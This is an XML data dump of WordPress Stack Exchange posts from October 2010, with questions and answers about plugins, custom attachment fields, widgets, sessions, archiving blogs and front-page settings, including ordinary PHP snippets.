  <row Id="3094" PostTypeId="1" CreationDate="2010-10-20T18:28:52.217" Score="1" ViewCount="133" Body="&lt;p&gt;I've tried Socialite and a couple others but they all appear to be reported as broken. When I tried them out, they were in fact broken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest some that automatically publish to these services and work on WP 3.0+? This is not for a wordpress.com blog, but an installed instance of wordpress. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1329" LastActivityDate="2010-10-20T20:34:29.053" Title="What is a good wordpress 3.0+ plugin that supports automatic publishing to Twitter/Facebook?" Tags="&lt;facebook&gt;&lt;twitter&gt;&lt;auto-update&gt;&lt;status&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3095" PostTypeId="2" ParentId="3068" CreationDate="2010-10-20T18:43:22.297" Score="2" ViewCount="" Body="&lt;p&gt;I would add to also look in the source code for calls to their theme location, which by default would be &lt;code&gt;/wp-content/themes/[themename]&lt;/code&gt;. You could also try loading default WP files left over from the installation such as &lt;code&gt;license.txt&lt;/code&gt; or &lt;code&gt;readme.html&lt;/code&gt; but if they're clever enough to hide the plug-in and theme locations they likely removed those files, too.&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2010-10-20T18:43:22.297" />
  <row Id="3096" PostTypeId="2" ParentId="3076" CreationDate="2010-10-20T18:49:12.690" Score="3" ViewCount="" Body="&lt;p&gt;I would like to see dynamically expanding detail boxes, so you can provide optionally more details on specific areas of experience (such as a code snippet, or more complicated project information) should the interested party wish for more. That way you keep it simple and clean yet show them there is more under the hood should they wish to see it.&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2010-10-20T18:49:12.690" CommunityOwnedDate="2010-10-20T18:49:12.690" />
  <row Id="3097" PostTypeId="1" AcceptedAnswerId="3108" CreationDate="2010-10-20T18:49:43.780" Score="5" ViewCount="873" Body="&lt;p&gt;For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'reg_tax');&#xA;function reg_tax() {&#xA;   register_taxonomy_for_object_type('category', 'attachment');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adds a &quot;Category&quot; input field to the media manager and attachments editor. I'd like to know if its possible to alter this function to capture a &quot;link destination&quot; URL instead. The URL would be executed when the image is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also need to know how to retrieve the value for this new field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Thanks to Thomas Answer below, here is my final solution...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_image_attachment_fields_to_edit($form_fields, $post) {  &#xA;    $form_fields[&quot;custom1&quot;] = array(  &#xA;        &quot;label&quot; =&amp;gt; __(&quot;Image Links To&quot;),  &#xA;        &quot;input&quot; =&amp;gt; &quot;text&quot;,&#xA;        &quot;value&quot; =&amp;gt; get_post_meta($post-&amp;gt;ID, &quot;_custom1&quot;, true)  &#xA;    );        &#xA;    return $form_fields;  &#xA;}  &#xA;&#xA;function my_image_attachment_fields_to_save($post, $attachment) {    &#xA;    if( isset($attachment['custom1']) ){  &#xA;        update_post_meta($post['ID'], '_custom1', $attachment['custom1']);  &#xA;    }  &#xA;    return $post;  &#xA;}  &#xA;&#xA;add_filter(&quot;attachment_fields_to_edit&quot;, &quot;my_image_attachment_fields_to_edit&quot;, null, 2); &#xA;add_filter(&quot;attachment_fields_to_save&quot;, &quot;my_image_attachment_fields_to_save&quot;, null, 2); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-10-21T18:23:24.260" LastActivityDate="2011-04-05T06:05:28.023" Title="How can I add a URL field to the attachments window?" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="8" />
  <row Id="3098" PostTypeId="1" CreationDate="2010-10-20T19:06:06.473" Score="0" ViewCount="231" Body="&lt;p&gt;I have created a web application in which I have 3 columns, or i would say left sidebar, right sidebar and a middle widget area, I have few widgets in the left sidebar, few in the right sidebar and few in the middle widget area to give it a look of igoogle. Each user will have his widgets and then will also be able to drag and drop those widgets.I have added the drag and drop functionality of the widgets. What I want now is to save the dropped widgets position in the database and retrieve it for the user when he/she logs in again. Any sugestions as to how this can be done?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-11-02T12:29:57.267" Title="saving the widgets position after drag and drop" Tags="&lt;3.0&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3100" PostTypeId="2" ParentId="3089" CreationDate="2010-10-20T19:52:56.427" Score="1" ViewCount="" Body="&lt;p&gt;As an addition to Somatic's reply, note that sessions can prevent you from scaling when misconfigured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, if your site spans more than one server, be sure to use one of the built-in   Memcached save handlers from pecl, or an SQL-based session handler. And if you opt for an SQL handler written in php, be sure to use row-locking if your app involves any Ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not doing so and sticking to the filesystem handler, you may end up losing sessions based on which server gets hit by end users. &lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-20T19:52:56.427" CommentCount="1" />
  <row Id="3101" PostTypeId="2" ParentId="3094" CreationDate="2010-10-20T20:34:29.053" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt;. Both are quality plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, with regard to automatically publishing to Facebook from WordPress, that there was a major bug in Facebook's API that made it impossible to post to an app as the app itself (rather than the logged in user); it might have been fixed by now, but I'm not sure. Posting to a page as the page itself is still possible, though.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-20T20:34:29.053" />
  <row Id="3102" PostTypeId="2" ParentId="3091" CreationDate="2010-10-20T20:35:04.607" Score="0" ViewCount="" Body="&lt;p&gt;I know Alex King's Twitter Tools uses bit.ly and posts to twitter. Is this not what you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2010-10-20T20:35:04.607" CommentCount="1" />
  <row Id="3103" PostTypeId="2" ParentId="3063" CreationDate="2010-10-20T20:40:00.043" Score="5" ViewCount="" Body="&lt;p&gt;It sounds to me like you mucked up the query and the comment form thinks the user's on the wrong post. Try adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your theme right before your theme adds the comment form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_reset_query();&#xA;global $post, wp_query;&#xA;$post = $wp_query-&amp;gt;post;&#xA;setup_postdata($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-20T20:40:00.043" />
  <row Id="3104" PostTypeId="1" AcceptedAnswerId="3209" CreationDate="2010-10-20T21:16:14.063" Score="0" ViewCount="157" Body="&lt;p&gt;In my game website I would like to implement a Screenshot page where my registered users can upload images to it (it might be more then 1 screenshot page, 1 for the users and 1 for the game in question what I mean is users can upload and the staff will be using the game website available images so it would be 2 different categories or w/e).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an image is uploaded it will be pending for approval before becoming available on the gallery page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like that the page that will display the list of images will be displaying it as thumbnail or resized images to a smaller size and the bigger image will show uppon click or something alike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i would like to know is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a plugin with such features&#xA;?&lt;/li&gt;&#xA;&lt;li&gt;What are my options here ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've got a good programming background, if i were to make such changes what would be my best approch to it ? like creating a custom template page or what ?&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-22T21:00:07.747" Title="Personalized Gallery what are my options?" Tags="&lt;3.0.1&gt;&lt;images&gt;&lt;users&gt;&lt;uploads&gt;&lt;gallery&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3105" PostTypeId="1" AcceptedAnswerId="3106" CreationDate="2010-10-20T21:18:14.130" Score="0" ViewCount="196" Body="&lt;p&gt;What I'd really like is a nice widget that displays &lt;code&gt;the_content()&lt;/code&gt; of a selected page or just has a rich text field and displays what's in that. I figured there would be something like this around, but I can't find it. (Maybe because the search terms are too cloudy and overloaded?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already wrote an incredibly simple widget that displays &lt;code&gt;the_content()&lt;/code&gt; of a hardcoded page (and hid the page itself with &lt;a href=&quot;http://wordpress.org/extend/plugins/page-link-manager/&quot; rel=&quot;nofollow&quot;&gt;Page Link Manager&lt;/a&gt;, but if there is something a little bit configurable and tested I'd love to have that instead. Any clues?&lt;/p&gt;&#xA;" OwnerUserId="1305" LastEditorUserId="1305" LastEditorDisplayName="" LastEditDate="2010-10-20T21:27:31.487" LastActivityDate="2010-10-21T03:53:34.977" Title="Recommend a widget plugin that displays page content or rich text" Tags="&lt;plugin-recommendation&gt;&lt;widgets&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="3106" PostTypeId="2" ParentId="3105" CreationDate="2010-10-20T23:23:12.253" Score="1" ViewCount="" Body="&lt;p&gt;How about the &lt;a href=&quot;http://wordpress.org/extend/plugins/rich-widget/&quot; rel=&quot;nofollow&quot;&gt;Rich Widget&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1331" LastActivityDate="2010-10-20T23:23:12.253" />
  <row Id="3107" PostTypeId="2" ParentId="3105" CreationDate="2010-10-21T01:06:54.293" Score="1" ViewCount="" Body="&lt;p&gt;I would actually recomend using the &lt;a href=&quot;http://wordpress.org/extend/plugins/rich-text-widget/&quot; rel=&quot;nofollow&quot;&gt;Rich Text Widget&lt;/a&gt; as it uses the built in TinyMCE editor that comes with WordPress and doesn't add any extra javascript etc&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-21T01:06:54.293" />
  <row Id="3108" PostTypeId="2" ParentId="3097" CreationDate="2010-10-21T02:59:19.460" Score="8" ViewCount="" Body="&lt;p&gt;I use a &lt;strong&gt;very rough&lt;/strong&gt; plugin to add information about the artist and a URL to media files. It needs some tweaking (and I need the time), but it works and may demonstrate how add the extra fields and how to use them in your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Toscho’s Media Artist Field&#xA;Description: Adds two field to attachments – Artist and Artist URL – and adds this information to captions.&#xA;Version:     0.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;Created:     19.09.2010&#xA;*/&#xA;$Toscho_Media_Artist = new Toscho_Media_Artist(&#xA;    array (&#xA;        'artist_name' =&amp;gt; array (&#xA;            'public' =&amp;gt; 'toscho_artist_name'&#xA;        ,   'hidden' =&amp;gt; '_toscho_artist_name'&#xA;        ,   'label'  =&amp;gt; 'Fotograf (Name)'&#xA;        )&#xA;    ,   'artist_url' =&amp;gt; array (&#xA;            'public' =&amp;gt; 'toscho_artist_url'&#xA;        ,   'hidden' =&amp;gt; '_toscho_artist_url'&#xA;        ,   'label'  =&amp;gt; 'Fotograf (URL)'&#xA;        )&#xA;    )&#xA;,   'Foto: '&#xA;);&#xA;/**&#xA; * Adds two fields for credits to any media file: name and URL.&#xA; *&#xA; * Based on the clear tutorial by Andy Blackwell:&#xA; * @link http://net.tutsplus.com/?p=13076&#xA; *&#xA; * @author &quot;Thomas Scholz&quot;&#xA; *&#xA; */&#xA;class Toscho_Media_Artist&#xA;{&#xA;    public&#xA;        $fields = array (&#xA;            'artist_name' =&amp;gt; array (&#xA;                'public' =&amp;gt; 'toscho_artist_name'&#xA;            ,   'hidden' =&amp;gt; '_toscho_artist_name'&#xA;            ,   'label'  =&amp;gt; 'Artist Name'&#xA;            )&#xA;        ,   'artist_url' =&amp;gt; array (&#xA;                'public' =&amp;gt; 'toscho_artist_url'&#xA;            ,   'hidden' =&amp;gt; '_toscho_artist_url'&#xA;            ,   'label'  =&amp;gt; 'Artist URL'&#xA;            )&#xA;        )&#xA;        // Maybe its own field?&#xA;    ,   $caption_prefix&#xA;    ,   $br_before = TRUE;&#xA;&#xA;    public function __construct(&#xA;        $fields         = array()&#xA;    ,   $caption_prefix = 'Source: '&#xA;    ,   $br_before      = TRUE&#xA;    )&#xA;    {&#xA;        $this-&amp;gt;fields         = array_merge($this-&amp;gt;fields, $fields);&#xA;        $this-&amp;gt;caption_prefix = $caption_prefix;&#xA;        $this-&amp;gt;br_before      = (bool) $br_before;&#xA;&#xA;        $this-&amp;gt;set_filter();&#xA;    }&#xA;&#xA;    public function set_filter()&#xA;    {&#xA;        add_filter(&#xA;            'attachment_fields_to_edit'&#xA;        ,   array ( $this, 'add_fields' )&#xA;        ,   15&#xA;        ,   2&#xA;        );&#xA;        add_filter(&#xA;            'attachment_fields_to_save'&#xA;        ,   array ( $this, 'save_fields' )&#xA;        ,   10&#xA;        ,   2&#xA;        );&#xA;        add_filter(&#xA;            'img_caption_shortcode'&#xA;        ,   array ( $this, 'caption_filter' )&#xA;        ,   1&#xA;        ,   3&#xA;        );&#xA;    }&#xA;&#xA;    public function add_fields($form_fields, $post)&#xA;    {&#xA;        foreach ( $this-&amp;gt;fields as $field)&#xA;        {&#xA;            $form_fields[ $field['public'] ]['label'] = $field['label'];&#xA;            $form_fields[ $field['public'] ]['input'] = 'text';&#xA;            $form_fields[ $field['public'] ]['value'] = get_post_meta(&#xA;                $post-&amp;gt;ID&#xA;            ,   $field['hidden']&#xA;            ,   TRUE&#xA;            );&#xA;        }&#xA;        return $form_fields;&#xA;    }&#xA;&#xA;    public function save_fields($post, $attachment)&#xA;    {&#xA;        foreach ( $this-&amp;gt;fields as $field)&#xA;        {&#xA;            if ( isset ( $attachment[ $field['public'] ]) )&#xA;            {&#xA;                update_post_meta(&#xA;                    $post['ID']&#xA;                ,   $field['hidden']&#xA;                ,   $attachment[ $field['public'] ]&#xA;                );&#xA;            }&#xA;        }&#xA;&#xA;        return $post;&#xA;    }&#xA;&#xA;    public function caption_filter($empty, $attr, $content = '')&#xA;    {&#xA;        /* Typical input:&#xA;         * [caption id=&quot;attachment_525&quot; align=&quot;aligncenter&quot;&#xA;         * width=&quot;300&quot; caption=&quot;The caption.&quot;]&#xA;         * &amp;lt;a href=&quot;http://example.com/2008/images-test/albeo-screengrab/&quot;&#xA;         * rel=&quot;attachment wp-att-525&quot;&amp;gt;&amp;lt;img&#xA;         * src=&quot;http://example.com/uploads/2010/08/albeo-screengrab4.jpg?w=300&quot;&#xA;         * alt=&quot;&quot; title=&quot;albeo-screengrab&quot; width=&quot;300&quot; height=&quot;276&quot;&#xA;         * class=&quot;size-medium wp-image-525&quot; /&amp;gt;&amp;lt;/a&amp;gt;[/caption]&#xA;         */&#xA;        extract(&#xA;            shortcode_atts(&#xA;                array (&#xA;                    'id'        =&amp;gt; ''&#xA;                ,   'align'     =&amp;gt; 'alignnone'&#xA;                ,   'width'     =&amp;gt; ''&#xA;                ,   'caption'   =&amp;gt; ''&#xA;                ,   'nocredits' =&amp;gt; '0'&#xA;                )&#xA;            ,   $attr&#xA;            )&#xA;        );&#xA;&#xA;        // Let WP handle these cases.&#xA;        if ( empty ($id ) or 1 == $nocredits )&#xA;        {&#xA;            return '';&#xA;        }&#xA;&#xA;        if ( 1 &amp;gt; (int) $width || empty ( $caption ) )&#xA;        {&#xA;            return $content;&#xA;        }&#xA;&#xA;        if ( ! empty ( $id ) )&#xA;        {&#xA;            // Example: attachment_525&#xA;            $html_id     = 'id=&quot;' . esc_attr($id) . '&quot; ';&#xA;            $tmp         = explode('_', $id);&#xA;            $id          = end($tmp);&#xA;&#xA;            $sub_caption = '';&#xA;            $artist_name = get_post_meta($id, $this-&amp;gt;fields['artist_name']['hidden'], TRUE);&#xA;            $artist_url  = get_post_meta($id, $this-&amp;gt;fields['artist_url']['hidden'], TRUE);&#xA;&#xA;            // Okay, at least one value.&#xA;            if ( '' != $artist_name . $artist_url )&#xA;            {&#xA;                $sub_caption .= $this-&amp;gt;br_before ? '&amp;lt;br /&amp;gt;' : '';&#xA;                $sub_caption .= '&amp;lt;span class=&quot;media-artist&quot;&amp;gt;' . $this-&amp;gt;caption_prefix;&#xA;&#xA;                // No name given. We use the shortened URL.&#xA;                if ( '' == $artist_name )&#xA;                {&#xA;                    $sub_caption .= '&amp;lt;a rel=&quot;author&quot; href=&quot;'&#xA;                        . $artist_url . '&quot;&amp;gt;'&#xA;                        . $this-&amp;gt;short_url($artist_url)&#xA;                        . '&amp;lt;/a&amp;gt;';&#xA;                } // We have just the name.&#xA;                elseif ( '' == $artist_url )&#xA;                {&#xA;                    $sub_caption .= $artist_name;&#xA;                } // We have both.&#xA;                else&#xA;                {&#xA;                    $sub_caption .= '&amp;lt;a rel=&quot;author&quot; href=&quot;'&#xA;                        . $artist_url . '&quot;&amp;gt;'&#xA;                        . $artist_name&#xA;                        . '&amp;lt;/a&amp;gt;';&#xA;                }&#xA;&#xA;                $sub_caption .= '&amp;lt;/span&amp;gt;';&#xA;            }&#xA;&#xA;            $caption .= $sub_caption;&#xA;        }&#xA;&#xA;        return '&amp;lt;div ' . $html_id . 'class=&quot;wp-caption ' . esc_attr($align)&#xA;        . '&quot; style=&quot;width: ' . (10 + (int) $width) . 'px&quot;&amp;gt;'&#xA;        . do_shortcode( $content ) . '&amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;'&#xA;        . $caption . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    public function short_url($url, $max_length=20)&#xA;    {&#xA;        $real_length = mb_strlen($url, 'UTF-8');&#xA;&#xA;        if ( $real_length &amp;lt;= $max_length )&#xA;        {&#xA;            return $url;&#xA;        }&#xA;&#xA;        $keep = round( $max_length / 2 ) - 1;&#xA;&#xA;        return mb_substr($url, 0, $keep, 'UTF-8') . '…'&#xA;            . mb_substr($url, -$keep, $real_length, 'UTF-8');&#xA;    }&#xA;    # @todo uninstall&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-10-21T02:59:19.460" CommentCount="2" />
  <row Id="3109" PostTypeId="2" ParentId="3041" CreationDate="2010-10-21T03:15:29.017" Score="5" ViewCount="" Body="&lt;p&gt;If you don't want to write your own code there is a plugin to allow embedding an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/embed-iframe/other_notes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Embed IFrame Plugin for WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then just use the &lt;a href=&quot;http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[iframe http://example.com 400 500]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-21T08:46:54.797" LastActivityDate="2010-10-21T08:46:54.797" CommentCount="3" />
  <row Id="3111" PostTypeId="2" ParentId="3105" CreationDate="2010-10-21T03:53:34.977" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/spectacula-page-widget/&quot; rel=&quot;nofollow&quot;&gt;Spectacu.la Page Widget&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-21T03:53:34.977" />
  <row Id="3112" PostTypeId="1" AcceptedAnswerId="3113" CreationDate="2010-10-21T07:36:34.430" Score="0" ViewCount="54" Body="&lt;p&gt;I have a client who has an annual complete makeover of their website design and content, but they still want their old sites available to view (each with that year's respective design/CSS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once these blogs are &quot;archived&quot;, I don't want to have to maintain them any more w.r.t. updating plugins and core files. Previously, when I have left plugins un-updated for too long, I have had some security issues (or at least, that's what my host blamed the last few hack attempts on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are auto-updating plugins out there, but I don't know about you - I always have to check that nothing is broken with each update (whether auto-updated or manual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've considered just generating an html mirror, but are there any other &quot;maintenance free&quot; way I can &quot;archive&quot; my old blogs? &lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-21T07:52:34.723" Title="How can I permanently cache or &quot;archive&quot; a WP blog without needing future maintenance" Tags="&lt;cache&gt;&lt;archive&gt;&lt;backup&gt;&lt;maintenance&gt;" AnswerCount="1" />
  <row Id="3113" PostTypeId="2" ParentId="3112" CreationDate="2010-10-21T07:52:34.723" Score="3" ViewCount="" Body="&lt;p&gt;I think HTML mirror is the way to go here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no point keeping dynamic site that doesn't need to be. And leaving it unmaintained is not really possible on auto-pilot - even if updates are automatic there is no guarantee some plugin won't get just dropped by developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can build multi-design site. It's not that hard to load stylesheets and templates conditionally. Of course that would be considerable amount of work comparing to HTML mirror.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-21T07:52:34.723" CommentCount="1" />
  <row Id="3114" PostTypeId="2" ParentId="3074" CreationDate="2010-10-21T09:06:25.147" Score="2" ViewCount="" Body="&lt;p&gt;This example highlights the versatility of interface options you can create by using radio inputs to select a product variation rather than the default  menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This section of code could be used in place of the variations code block in either the product.php template file or the category.php template file (if you want variation inputs in your category products list).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(shopp('product','has-variations')): ?&amp;gt;&#xA;&amp;lt;ul class=&quot;variations&quot;&amp;gt;&#xA;    &amp;lt;?php while(shopp('product','variations')): ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;products[&amp;lt;?php shopp('product','id'); ?&amp;gt;][price]&quot; value=&quot;&amp;lt;?php shopp('product','variation','id'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php shopp('product','variation','label'); ?&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;br&gt;&#xA;Using this will make it able to add empty products to your cart (if the product has variations)&lt;/p&gt;&#xA;" OwnerUserId="706" LastActivityDate="2010-10-21T09:06:25.147" CommentCount="1" />
  <row Id="3115" PostTypeId="1" AcceptedAnswerId="3120" CreationDate="2010-10-21T09:08:09.897" Score="0" ViewCount="84" Body="&lt;p&gt;Right, please excuse the stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my new blog I want the home page to be the &quot;home&quot; page I've created, and not the list of articles... that's fine, I go to &lt;code&gt;Settings -&amp;gt; Reading -&amp;gt; Front page displays&lt;/code&gt; and change &lt;code&gt;Front page&lt;/code&gt; to &lt;code&gt;Home&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want &lt;code&gt;/blog/&lt;/code&gt; to list my articles, however I get a 404 :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit stuck on this one, any help would be mucho appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2010-10-21T11:07:36.423" Title="Blog page problems" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;blog-page&gt;" AnswerCount="5" />
  <row Id="3116" PostTypeId="2" ParentId="3115" CreationDate="2010-10-21T09:26:29.550" Score="1" ViewCount="" Body="&lt;p&gt;You need to edit &quot;index.php&quot; in your theme directory (wp-content/themes/your-theme/index.php), this will display all of your excerpts etc.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2010-10-21T09:26:29.550" CommentCount="4" />
  <row Id="3117" PostTypeId="2" ParentId="3115" CreationDate="2010-10-21T09:40:43.077" Score="1" ViewCount="" Body="&lt;p&gt;So, you want your homepage to display intro text and then have a seperate page to display blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the easiest way I would do this is create a category called blog. Add it to the menu (new in WP3) and make sure you have category.php in your theme files to display excerpts of your blog posts.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-21T09:40:43.077" CommentCount="1" />
  <row Id="3118" PostTypeId="2" ParentId="3115" CreationDate="2010-10-21T10:02:23.650" Score="1" ViewCount="" Body="&lt;p&gt;The way we do this is to have a page template called template-blog.php and then create a page called &quot;Blog&quot; within the admin area. This way you still get WYSIWYG control over some simple elements like slug etc. Then simply select the template-blog from the drop list under &quot;Template&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your template-blog.php place all your loop code etc etc in this file. Now within your admin panel you can select multiple categories and you can use the category.php templates to control how they are displayed.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-21T10:02:23.650" CommentCount="2" />
  <row Id="3119" PostTypeId="2" ParentId="3115" CreationDate="2010-10-21T10:17:17.153" Score="1" ViewCount="" Body="&lt;p&gt;This is a little tricky to explain. Go carefully over &lt;a href=&quot;http://codex.wordpress.org/Settings_Reading_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Settings Reading SubPanel&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;Creating a Static Front Page&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically when you set static &lt;code&gt;Front page&lt;/code&gt; your index of posts gets pushed to nowhere. Then you can optionally create page and assign it to &lt;code&gt;Posts page&lt;/code&gt; that will act as blog root previously acted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the deeper level such page will follow &lt;code&gt;is_home&lt;/code&gt; template path in &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; instead of regular &lt;code&gt;is_page&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am not missing anything creating page with slug &lt;code&gt;blog&lt;/code&gt; and assigning it to &lt;code&gt;Posts page&lt;/code&gt; will get you what you want and that page will be controlled by template &lt;code&gt;home.php&lt;/code&gt; (if present) or &lt;code&gt;index.php&lt;/code&gt; (effectively site root).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-21T11:07:36.423" LastActivityDate="2010-10-21T11:07:36.423" />
  <row Id="3120" PostTypeId="2" ParentId="3115" CreationDate="2010-10-21T10:28:54.613" Score="3" ViewCount="" Body="&lt;p&gt;This depends on how the index.php of your theme is coded. If it is a standard blog index page (as it is in 2010), all you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create a page named &quot;blog&quot; (or whatever you fancy), no need to add any content or select any template, &lt;/li&gt;&#xA;&lt;li&gt;in wp-dashboard &gt; Settings &gt; Reading:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tick &quot;static front page&quot;&lt;/li&gt;&#xA;&lt;li&gt;select your &quot;home&quot; page as the Front Page&lt;/li&gt;&#xA;&lt;li&gt;select the &quot;blog&quot; page you created as the Posts Page,&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;again, it depends on the default index.php of your WordPress theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also help to regenerate the permalinks, go to wp-dashbaord &gt; Settings &gt; Permalinks and click &quot;save changes&quot; (no need to change anything). Watch for any warning messages on updating .htaccess (and update manually if required), then check again.&lt;/p&gt;&#xA;" OwnerUserId="1331" LastActivityDate="2010-10-21T10:28:54.613" />
